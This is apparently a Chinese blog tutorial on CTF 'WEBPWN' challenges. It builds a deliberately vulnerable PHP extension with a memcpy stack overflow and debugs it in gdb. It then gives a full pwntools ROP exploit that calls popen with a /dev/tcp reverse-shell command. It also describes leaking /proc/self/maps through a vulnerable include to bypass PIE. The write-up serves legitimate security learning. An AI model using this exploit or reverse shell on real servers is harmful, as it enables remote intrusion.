WEBPWN入门级调试讲解

阅读量    247611 | 评论 2

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

前言

五一的假期整好赶上De1CTF,结果就是又被大师傅们吊打了,遇见一道WEBPWN,WEBPWN类型的题,网上资料相对较少,而且调试过程也基本没有记录,借此机会又学习了一波,记录一下

 

前置知识

WEBPHP介绍

WEBPWN类型的题目,目前大部分多为PHPPWN,其实就是PHP加载外部扩展,核心漏洞点在so扩展库中,由于是php加载扩展库来调用其内部函数,所以和常规PWN题最大的不同点,就是不能直接获得交互式shell,与常规PWN题相同的,对于栈溢出漏洞来说,依然是采用ROP链的方式来绕过NX,然后最后进行的攻击效果是期望获得能反弹到vps上的交互式shell,这里大部分可以采用popen,或者exec函数族来进行执行bash命令来反弹出shell,直接执行one_gadget或者system是不太可行的。

PHPPWN相关前置知识点

要解决PHPPWN类型的题目,我们就得先了解一下PHP扩展。
在Linux环境下,PHP扩展通常为.so文件,扩展模块放置的路径我们可以通过下面的方式来查看

$> php -i | grep -i extension_dir
extension_dir => /usr/lib/php/20170718 => /usr/lib/php/20170718

扩展模块的生命周期:

  1. Module init 即MINIT

    PHP解释器启动,加载相关模块,在此时调用相关模块的MINIT方法,仅被调用一次

  2. Request init 即RINIT

    每个请求达到时都被触发。SAPI层将控制权交由PHP层,PHP初始化本次请求执行脚本所需的环境变量,函数列表等,调用所有模块的RINIT函数。

  3. Request shutdown 即RSHUTDOWN

    请求结束,PHP就会自动清理程序,顺序调用各个模块的RSHUTDOWN方法,清除程序运行期间的符号表。

  4. Module shutdown 即MSHUTDOWN

    服务器关闭,PHP调用各个模块的MSHUTDOWN方法释放内存。

PHP的生命周期常见如下几种:

  1. 单进程SAPI生命周期
  2. 多进程SAPI生命周期
  3. 多线程SAPI声明周期

CLI运行模式:

通常我们在开发PHP扩展时,多是用命令行终端来直接使用php解释器直接解释执行.php文件,在.php文件中我们写入需要调用的扩展函数,该扩展函数被编译在.so的扩展模块中,这种运行模式我一般称为CLI模式,该模式对应的php声明周期一般为单进程SAPI生命周期

CGI运行模式

其中对于大部分网站应用服务器来说,大部分时候PHP解释器运行的模式为CGI模式——单进程SAPI生命周期,此模式运行特点为请求到达时,为每个请求fork一个进程,一个进程只对一个请求做出响应,请求结束后,进程也就结束了。其中fork的进程,和原进程的内存布局一般来说是一模一样的,所以这里如果能拿到/proc/{pid}/maps文件,则可以拿到该进程的内存布局,形成内存泄露,此方式在De1CTF中的这道WEBPWN上是第一个突破点,利用的其有漏洞的包含函数来读取/proc/self/maps,可以拿到所有基地址,从而无视PIE保护。

 

PHP扩展模块开发流程

经过上部分的简单介绍,我们大概了解了PHP的扩展模块,下面我们简要介绍一下PHP扩展模块的开发流程。
我本机的环境是Ubuntu18.04,我们使用下面的命令来简单的搭建开发环境

# 安装php,以及php开发包头
$> sudo apt install php php-dev
$> php -v # 查看php版本
PHP 7.2.24-0ubuntu0.18.04.4 (cli) (built: Apr  8 2020 15:45:57) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies
    with Zend OPcache v7.2.24-0ubuntu0.18.04.4, Copyright (c) 1999-2018, by Zend Technologies

我的版本为7.2.24,之后我们去php的github的源代码发布页面上下载相同版本的源代码。

php-7.2.24
  |____build    --和编译有关的目录,里面包括wk,awk和sh脚本用于编译处理,其中m4文件是linux下编译程序自动生成的文件,可以使用buildconf命令操作具体的配置文件。
  |____ext      --扩展库代码,例如Mysql,gd,zlib,xml,iconv 等我们熟悉的扩展库,ext_skel是linux下扩展生成脚本,windows下使用ext_skel_win32.php。
  |____main     --主目录,包含PHP的主要宏定义文件,php.h包含绝大部分PHP宏及PHP API定义。
  |____netware  --网络目录,只有sendmail_nw.h和start.c,分别定义SOCK通信所需要的头文件和具体实现。
  |____pear     --扩展包目录,PHP Extension and Application Repository。
  |____sapi     --各种服务器的接口调用,如Apache,IIS等。
  |____scripts  --linux下的脚本目录。
  |____tests    --测试脚本目录,主要是phpt脚本,由--TEST--,--POST--,--FILE--,--EXPECT--组成,需要初始化可添加--INI--部分。
  |____TSRM     --线程安全资源管理器,Thread Safe Resource Manager保证在单线程和多线程模型下的线程安全和代码一致性。
  |____win32    --Windows下编译PHP 有关的脚本。
  |____Zend     --包含Zend引擎的所有文件,包括PHP的生命周期,内存管理,变量定义和赋值以及函数宏定义等等。

扩展模块开发
首先我们进入源代码目录,使用如下目录生成扩展模块的工程项目

$>./ext_skel --extname=easy_phppwn

之后我们编写一个扩展函数,这是一个简单栈溢出演示,如下图所示:

同时在下方如图所示位置配置该扩展函数

写完之后我们使用如下命令配置编译

$> ./configure --with-php-config=/usr/bin/php-config

然后在生成的Makefile文件中,在如下位置设置编译参数,记得取消-O2优化,否则会加上FORTIFY保护,导致memcpy函数加上长度检查变为__memcpy_chk函数

设置好之后我们可以直接使用make命令编译,编译完成后,会生成./modules,目录下就是我们需要的.so扩展文件,将其复制到,php扩展目录下,之后再php.ini文件中配置启动扩展即可,

# 通过find命令来查找 php.ini文件
$> sudo find / -name "php.ini"
/etc/php/7.2/apache2/php.ini
/etc/php/7.2/cli/php.ini    # 通常我调试时使用CLI模式,所以我只配置了该目录下的php.ini文件

在最下方加入

extension=easy_phppwn.so #easy_phppwn.so是扩展模块的文件名,应放在php的扩展模块目录下,在文章开头,有查找指令

完成之后,我们写一个.php文件,尝试调用phpinfo()函数进行查看

$> php test.php | grep "easy_phppwn" #test.php中仅一个phpinfo()函数
easy_phppwn
easy_phppwn support => enabled
PWD => /home/pwn/Desktop/phppwn/easy_phppwn
$_SERVER['PWD'] => /home/pwn/Desktop/phppwn/easy_phppwn

至此,我们完成了一个简单php扩展模块的开发,以及具备了调试了phppwn的环境。

 

PHP扩展模块的调试即PHPPWN的调试

我们直接使用IDA打开该扩展模块文件

void __cdecl zif_easy_phppwn(zend_execute_data *execute_data, zval *return_value)
{
  char buf[100]; // [rsp+10h] [rbp-80h]
  size_t n; // [rsp+80h] [rbp-10h]
  char *arg; // [rsp+88h] [rbp-8h]

  arg = 0LL;
//   zend_parse_parameters 是zend引擎解析我们使用php调用改函数时传入的字符串,s代表以字符串的形式解析,&arg是参数的地址,&n是解析后的参数长度
  if ( (unsigned int)zend_parse_parameters(execute_data->This.u2.next, "s", &arg, &n) != -1 )
  {
// 所以实际上这里有两次可溢出,一处是arg,一处是buf
    memcpy(buf, arg, n);
    php_printf("The baby phppwn.n");
  }
}

由于保护机制中开启了NX,所以我们依然采用rop的方式绕过
下面是具体的调试过程

首先我们写一个php文件,其中调用改easy_phppwn函数,如下:

// easy.php
<?php

$a = "abcd";
easy_phppwn($a);
?>

之后在终端中我们执行该文件:

$> php easy.php
The baby phppwn.

成功输出,则说明该扩展函数成功被调用
下面我们使用gdb来调试,这里我们主要测试memcpy导致的buf变量溢出,首先我编写了一个exp.py文件来生成带payload的.php文件,如下:

# exp.py
from pwn import *

def create_php(buf):
    with open("pwn.php", 'w+') as pf:
        pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))


buf = 'a'*0x80
buf += 'b'*0x10

create_php(buf)

运行exp

$> python exp.py
$> php pwn.php
The baby phppwn.
[1]    23692 segmentation fault (core dumped)  php pwn.php

说明成功触发栈溢出,现在我们使用gdb来进行调试,首先我这里假设我们之前在漏洞网站上已经泄露了maps文件已经获得了php进程的内存布局,所以我这里先关闭了本地随机化

$>gdb php
pwndbg> run
Starting program: /usr/bin/php 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

运行run以后,php在等待我们的输入,我们直接ctrl+c 终止掉程序,但是这里是不会退出gdb的,而是如下所示:

Program received signal SIGINT
pwndbg>

查看vmmap

pwndbg>vmmap
...
    0x7ffff28f4000     0x7ffff28f5000 r-xp     1000 0      /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff28f5000     0x7ffff2af5000 ---p   200000 1000   /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff2af5000     0x7ffff2af6000 r--p     1000 1000   /usr/lib/php/20170718/easy_phppwn.so
    0x7ffff2af6000     0x7ffff2af7000 rw-p     1000 2000   /usr/lib/php/20170718/easy_phppwn.so
...

这里我们已经可以看到php 已经加载了 easy_phppwn.so
所以我们现在可以设置断点了,如果在run之前设置会提示找不到该函数,设置断点我们需要设置真正的函数名,其实是zif_funcname,也就是我们在ida中看到的函数名,这里就是zif_easy_phppwn,同时设置参数为之前生成的pwn.php文件

pwndbg>break zif_easy_phppwn
pwndbg>set args ./pwn.php
pwndbg>run
...
Breakpoint zif_easy_phppwn
pwndbg>

如果成功,则说明我们现在已经进入了该函数,现在我们可以开始进行调试rop链了,对了,如果该扩展是在本地编译的话是有源码的,所以这里可以直接进行源码级别的调试

...
────────────[ DISASM ]────────
 ► 0x7ffff28f4c46 <zif_easy_phppwn+25>    mov    qword ptr [rbp - 8], 0
   0x7ffff28f4c4e <zif_easy_phppwn+33>    mov    rax, qword ptr [rbp - 0x88]
   0x7ffff28f4c55 <zif_easy_phppwn+40>    mov    eax, dword ptr [rax + 0x2c]
   0x7ffff28f4c58 <zif_easy_phppwn+43>    mov    edi, eax
   0x7ffff28f4c5a <zif_easy_phppwn+45>    lea    rdx, [rbp - 0x10]
   0x7ffff28f4c5e <zif_easy_phppwn+49>    lea    rax, [rbp - 8]
   0x7ffff28f4c62 <zif_easy_phppwn+53>    mov    rcx, rdx
   0x7ffff28f4c65 <zif_easy_phppwn+56>    mov    rdx, rax
   0x7ffff28f4c68 <zif_easy_phppwn+59>    lea    rsi, [rip + 0xe5]
   0x7ffff28f4c6f <zif_easy_phppwn+66>    mov    eax, 0
   0x7ffff28f4c74 <zif_easy_phppwn+71>    call   zend_parse_parameters@plt <0x7ffff28f4a20>
────────────[ SOURCE (CODE) ]────────
In file: /home/pwn/Desktop/phppwn/php-src-php-7.2.24/ext/easy_phppwn/easy_phppwn.c
   71    function definition, where the functions purpose is also documented. Please
   72    follow this convention for the convenience of others editing your code.
   73 */
   74 PHP_FUNCTION(easy_phppwn)
   75 {
 ► 76   char *arg = NULL;
   77   size_t arg_len, len;
   78   char buf[100];
   79   if (zend_parse_parameters(ZEND_NUM_ARGS(), "s", &arg, &arg_len) == FAILURE) {
   80           return;
   81   }
────────────[ STACK ]────────
...

这样我们就可以愉快的进行调试了,当然开篇我已经提到,phppwn题目来说,是基本没法使用one_gadget,system(‘/bin/sh’)来直接获取交互式shell的,所以我这里通过使用popenv来开启一个反弹shell到vps上,当然其实还可以使用rop链构造调用mprotect函数来给stack执行权限,然后找一个jmp rsp来直接执行shellcode,这样就不用去算栈偏移了,不过也差不多。

完整exp如下:

from pwn import *

context.arch = "amd64"

def create_php(buf):
    with open("pwn.php", 'w+') as pf:
        pf.write('''<?php
easy_phppwn(urldecode("%s"));
?>'''%urlencode(buf))

libc = ELF("./libc-2.27.so")

libc.address = 0x7ffff5e25000

pop_rdi_ret = 0x2155f+libc.address
pop_rsi_ret = 0x23e6a+libc.address
popen_addr = libc.sym['popen']

command = '/bin/bash -c "/bin/bash -i >&/dev/tcp/127.0.0.1/6666 0>&1"'

stack_base = 0x7ffffffde000
stack_offset = 0x1c330
stack_addr = stack_offset+stack_base
layout = [
    'a'*0x88,
    pop_rdi_ret,
    stack_addr+0x88+0x30+0x60,
    pop_rsi_ret,
    stack_addr+0x88+0x28,
    popen_addr,
    'r'+'x00'*7,
    'a'*0x60,
    command.ljust(0x60, 'x00'),
    "a"*0x8
]
buf = flat(layout)

create_php(buf)

最终效果如下:

 

总结

其实webpwn类型的题目,对大部分选手来说,主要可能是难在调试环节上,网上基本没有详细介绍的文章,de1CTF那道webpwn,我本地打通了,但是由于libc的问题,导致服务没打通,有点可惜了,这里借此记录一下我个人调试的流程方法,分享给各位师傅。

 

参考

Wupco’s Blog-phppwn入门

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多